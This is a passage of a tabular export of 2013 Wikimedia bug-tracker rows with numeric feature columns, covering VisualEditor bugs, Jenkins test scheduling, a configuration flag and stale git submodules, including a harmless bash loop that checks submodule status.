**Severity**: normal",Needs Triage,90.0,1371117420,1372014851.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ku4zjzbgxbemhv6sicxc,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.676470588235294,0.7058823529411765,"See URL and URL for example; I have...no idea what's happening.

--------------------------
**Version**: unspecified
**Severity**: normal"
234178,VisualEditor: Mass of extraneous quot and amp marks,"I think that we've fixed this bug, but if it recurs please re-open.",,,1372014851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ku4zjzbgxbemhv6sicxc,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0555555555555554,1.0,"I think that we've fixed this bug, but if it recurs please re-open."
51486,VisualEditor: Add the ability to drag highlighted text around with the mouse,"As requested at https://en.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FFeedback&diff=559578396&oldid=559577689

Whether this is something there will be a generalised use case for, I can't say, but it's kinda a nifty idea in theory. I'd stick it on the ""we'll consider it when everything else works"" list.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1371058200,1371058332.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-j57p7ueywyekpmhxkqes,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,3.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,1.0,4.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,9.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.7536231884057971,"As requested at URL

Whether this is something there will be a generalised use case for, I can't say, but it's kinda a nifty idea in theory. I'd stick it on the ""we'll consider it when everything else works"" list.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
231896,VisualEditor: Add the ability to drag highlighted text around with the mouse,"bug 41150 was changed to be media objects only; text drag and drop is yet to come.

*** This bug has been marked as a duplicate of bug 49981 ***",,,1380609083,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.135135135135135,0.7837837837837838,"bug 41150 was changed to be media objects only; text drag and drop is yet to come.

*** This bug has been marked as a duplicate of bug 49981 ***"
231890,VisualEditor: Add the ability to drag highlighted text around with the mouse,Neat! Thanks :),,,1371058632,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Neat! Thanks :)
231886,VisualEditor: Add the ability to drag highlighted text around with the mouse,"Good news - we've already got this planned as part of the beta - see bug 41150. Marking as a dupe.

*** This bug has been marked as a duplicate of bug 41150 ***",,,1371058332,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j57p7ueywyekpmhxkqes,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0476190476190474,0.6666666666666666,"Good news - we've already got this planned as part of the beta - see bug 41150. Marking as a dupe.

*** This bug has been marked as a duplicate of bug 41150 ***"
51475,Red links show as blue links in VisualEditor,"When editing for example http://pt.wikipedia.org/wiki/Rana with the VisualEditor, all the red links are shown as blue links.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371027000,1371049016.0,PHID-USER-vyidforzdhnrsoweujao,False,,False,PHID-TASK-ajsfntti2ybnqjqeqxfs,task_description,resolved,True,c1,2,False,False,True,-3,,3.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,14.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.054054054054054,0.7027027027027027,"When editing for example URL with the VisualEditor, all the red links are shown as blue links.

--------------------------
**Version**: unspecified
**Severity**: normal"
231186,Red links show as blue links in VisualEditor,"Hey, this is a duplicate of bug 37901 - unfortunately, this depends on hinting in Parsoid (bug 37902) which is not yet done.

*** This bug has been marked as a duplicate of bug 37901 ***",,,1371049016,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ajsfntti2ybnqjqeqxfs,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.3043478260869565,0.6739130434782609,"Hey, this is a duplicate of bug 37901 - unfortunately, this depends on hinting in Parsoid (bug 37902) which is not yet done.

*** This bug has been marked as a duplicate of bug 37901 ***"
51418,new schedule for Jenkins jobs,"The number of browser tests and the number of browser test builds have both increased to the point that our original idea of a mid-day build and a late-day build (Pacific time) no longer serves us well.  The builds take long enough that they run essentially back-to-back all afternoon every day.  

I suggest we run all the builds at 11:00 Pacific time to have timely build information available around deployment time during the US working day. 

Then I suggest that we run all the builds once at 19:00 Pacific time (GMT-8) so that the results will be available for analysis in the morning Croation time (GMT-1)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1370906580,1372762967.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_description,resolved,True,c1,2,False,False,True,-3,,2.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,5.5,10.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,4.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.0,2.5,0.0,0.5,0.5,0.0,0.5,16.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.0,0.5,9.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,4.0,10.0,5.5,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,3.986301369863014,0.6917808219178082,"The number of browser tests and the number of browser test builds have both increased to the point that our original idea of a mid-day build and a late-day build (Pacific time) no longer serves us well.  The builds take long enough that they run essentially back-to-back all afternoon every day.  

I suggest we run all the builds at 11:00 Pacific time to have timely build information available around deployment time during the US working day. 

Then I suggest that we run all the builds once at 19:00 Pacific time (GMT-8) so that the results will be available for analysis in the morning Croation time (GMT-1)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
252487,new schedule for Jenkins jobs,"Fixed in https://gerrit.wikimedia.org/r/#/c/69865/

If there is still something to be done here, reopen the bug.",,,1372762967,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_subcomment,,True,c1,3,True,,,0,,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,1.0,"Fixed in URL

If there is still something to be done here, reopen the bug."
252482,new schedule for Jenkins jobs,"Actually, upon reflection, I think we can support the weekly releases better, and move toward even faster release cycles perhaps by something like this: 


Builds for beta labs to run several times per day. Possibly run Chrome/FF builds more often than IE builds for speed. 

Builds for test2 to match deployments to test2/mw.o depending on features tested e.g. VisualEditor.

Builds for production to match deployments to prod. ""Sufficiently advanced testing is indistinguishable from monitoring.""

Builds for mobile TBD.",,,1371227753,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-bumkxu7r6tdc2iyjok4e,task_subcomment,,True,c1,2,False,,,-3,,1.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,9.0,18.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,13.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,18.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,4.561224489795919,0.7244897959183674,"Actually, upon reflection, I think we can support the weekly releases better, and move toward even faster release cycles perhaps by something like this: 


Builds for beta labs to run several times per day. Possibly run Chrome/FF builds more often than IE builds for speed. 

Builds for test2 to match deployments to test2/mw.o depending on features tested e.g. VisualEditor.

Builds for production to match deployments to prod. ""Sufficiently advanced testing is indistinguishable from monitoring.""

Builds for mobile TBD."
51384,VisualEditor: Linking to an image results in the image being loaded,"The image is loaded

editing article [[:zh:港鐵都城嘉慕電動列車_(直流電)]]

if there exists a wikilink to a file, then the file will be loaded which should not happen.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11725}",Needs Triage,90.0,1370856240,1370883912.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-wdm6ddtjkbpjvqclln2i,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.546875,0.65625,"The image is loaded

editing article [[:zh:港鐵都城嘉慕電動列車_(直流電)]]

if there exists a wikilink to a file, then the file will be loaded which should not happen.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11725}"
250172,VisualEditor: Linking to an image results in the image being loaded,"

*** This bug has been marked as a duplicate of bug 48387 ***",,,1370883912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdm6ddtjkbpjvqclln2i,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48387 ***"
51336,Inconsistency in the URL (veaction=edit disappears),"To edit an article using the VE, the URL is ""...?veaction=edit"".

But, by loading the page with the VE, the URL is changed and becomes the same than the one to display the article.

There is consequently an inconsistency between the URL and the page content.

""?veaction=edit"" and all other URL parameters should not be changed/removed.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1370689740,1370840639.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-n7737xkjqezrnwwaava3,task_description,resolved,True,c1,2,False,False,True,-4,,1.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,11.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.670103092783505,0.5257731958762887,"To edit an article using the VE, the URL is ""...?veaction=edit"".

But, by loading the page with the VE, the URL is changed and becomes the same than the one to display the article.

There is consequently an inconsistency between the URL and the page content.

""?veaction=edit"" and all other URL parameters should not be changed/removed.

--------------------------
**Version**: unspecified
**Severity**: normal"
247540,Inconsistency in the URL (veaction=edit disappears),"This is being done as part of bug 43844.

Instead of letting it stay, we're going to enforce it even when not there.

veaction=edit was originally (and still is) only used to start VisualEditor by url.

When starting it from within MediaWiki by clicking ""Edit"" when reading an article, it never used veaction=edit.

Bug 43844 asks for consistent url reflection of state in both directions.

*** This bug has been marked as a duplicate of bug 43844 ***",,,1370840639,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n7737xkjqezrnwwaava3,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,0.5,0.0,6.5,10.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,6.0,2.0,0.5,4.5,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,3.0,10.5,2.5,0.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,3.5,0.0,0.0,0.0,3.680241327300151,0.8056184012066365,"This is being done as part of bug 43844.

Instead of letting it stay, we're going to enforce it even when not there.

veaction=edit was originally (and still is) only used to start VisualEditor by url.

When starting it from within MediaWiki by clicking ""Edit"" when reading an article, it never used veaction=edit.

Bug 43844 asks for consistent url reflection of state in both directions.

*** This bug has been marked as a duplicate of bug 43844 ***"
51084,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,"VisualEditor's new features should be exposed for testing outside of our local development environments.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1370270880,1370741026.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-f22y5n2hutfcuixay276,task_description,resolved,True,c1,1,True,False,True,-4,,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.794117647058823,0.7352941176470589,"VisualEditor's new features should be exposed for testing outside of our local development environments.

--------------------------
**Version**: unspecified
**Severity**: normal"
232785,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,Done on 2013-06-06.,,,1370741026,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.125,0.75,Done on 2013-06-06.
232781,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,"(In reply to comment #1)
> And the test and MW.org wikis.

Per Timo's comments, only on MW.org not test.",,,1370288193,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"(In reply to comment #1)
QUOTE

Per Timo's comments, only on MW.org not test."
232776,Configure beta and MW.org to have $wgVisualEditorEnableExperimentalCode = true;,And the test and MW.org wikis.,,,1370286285,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-f22y5n2hutfcuixay276,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,And the test and MW.org wikis.
50893,Various submodules in mediawiki/extensions are not being automatically updated,"I updated the translations of several VisualEditor messages in translatewiki.net. The changes were committed to Gerrit, and it looks like LocalisationUpdate ran several times since then, but I still don't see them on the Hebrew Wikipedia.

For example, let's take the message Visualeditor-linkinspector-suggest-matching-page:

1. Update in transatewiki.net: https://translatewiki.net/w/i.php?title=MediaWiki%3AVisualeditor-linkinspector-suggest-matching-page%2Fhe&diff=4721642&oldid=4682586

2. Commit to Gerrit: https://gerrit.wikimedia.org/r/#/c/63552/1/VisualEditor.i18n.php (line 1661)

3. Still not updated in he.wikipedia: https://he.wikipedia.org/w/index.php?title=Special:AllMessages&prefix=visu&filter=modified&lang=he&limit=5000

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1369745520,1374227951.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_description,resolved,True,c1,1,False,False,True,-5,,1.0,0.0,0.0,0.5,1.5,2.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,6.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,13.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,2.5,6.0,6.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,4.181818181818182,0.7181818181818181,"I updated the translations of several VisualEditor messages in translatewiki.net. The changes were committed to Gerrit, and it looks like LocalisationUpdate ran several times since then, but I still don't see them on the Hebrew Wikipedia.

For example, let's take the message Visualeditor-linkinspector-suggest-matching-page:

1. Update in transatewiki.net: URL

2. Commit to Gerrit: URL (line 1661)

3. Still not updated in he.wikipedia: URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
226321,Various submodules in mediawiki/extensions are not being automatically updated,"The issue is on Gerrit side.   The check-sync.sh of mediawiki/extensions.git let us detect such issue.

Follow up on bug 49846 mediawiki/extensions.git does not update some extensions

*** This bug has been marked as a duplicate of bug 49846 ***",,,1374227951,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2xyzi2meu5y5iozdxh3z,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,12.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.019230769230769,0.6730769230769231,"The issue is on Gerrit side.   The check-sync.sh of mediawiki/extensions.git let us detect such issue.

Follow up on bug 49846 mediawiki/extensions.git does not update some extensions

*** This bug has been marked as a duplicate of bug 49846 ***"
226316,Various submodules in mediawiki/extensions are not being automatically updated,"So VisualEditor was fixed with some manual database poking, and a number of the others seem to have been fixed too. Thanks ^demon!

On the other hand, a number of others seem to be newly broken. The current list is: AutoCreateCategoryPages Bootstrap Campaigns CirrusSearch CommunityTwitter CoreEvents EImage Less OpenStreetMapSlippyMap PerPageLicense QuickResponse TimelineTable WikibaseDataModel WikibaseQueryEngine


If you have a fully checked-out version of mediawiki/extensions (git pull && git submodule update --init --recursive), this bash script should tell you the submodules that aren't at master:

  for m in `sed -n 's/\[submodule ""\(.*\)""\]/\1/p' .gitmodules | sort`; do (
      cd $m;
      A=`git log -1 --format=""%h %ci %s""`;
      B=`git log -1 --format=""%h %ci %s"" origin/master`;
      [ ""$A"" = ""$B"" ] || echo $m
  ); done

